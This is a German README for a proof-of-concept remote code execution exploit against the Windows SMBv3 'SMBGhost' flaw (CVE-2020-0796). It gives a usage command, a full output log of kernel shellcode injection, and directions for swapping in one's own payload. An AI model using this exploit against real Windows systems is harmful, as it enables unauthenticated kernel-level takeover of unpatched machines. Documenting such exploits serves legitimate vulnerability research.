
Proof-of-Concept-Remote-Code-Execution-Exploit für CVE-2020-0796 (SMBGhost), der auf die Windows-SMBv3-Komprimierungssicherheitslücke mit Kernel-Shellcode-Injection abzielt.
RCE PoC für CVE-2020-0796 "SMBGhost"
Nur zu Demonstrationszwecken! Verwenden Sie dies nur als Referenz. Im Ernst. Dies wurde außerhalb meiner Laborumgebung nicht getestet. Es wurde schnell geschrieben und benötigt noch etwas Arbeit, um zuverlässiger zu sein. Manchmal kommt es zu einem BSOD. Die Verwendung für andere Zwecke als zur Selbstbildung ist eine äußerst schlechte Idee. Ihr Computer wird in Flammen aufgehen. Welpen werden sterben.
Nachdem das aus dem Weg geräumt ist....
Verwendungsbeispiel:
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
Ersetzen Sie das Payload in USER_PAYLOAD in exploit.py. Maximal 600 Bytes. Wenn Sie mehr möchten, modifizieren Sie den Kernel-Shellcode selbst.
lznt1-Code von hier. Modifiziert, um eine "Bad Compression"-Funktion hinzuzufügen, um den SRVNET-Puffer-Header zu beschädigen, ohne einen Absturz zu verursachen.
Siehe diesen ausgezeichneten Artikel von Ricera Security für weitere Details zu den verwendeten Methoden: https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html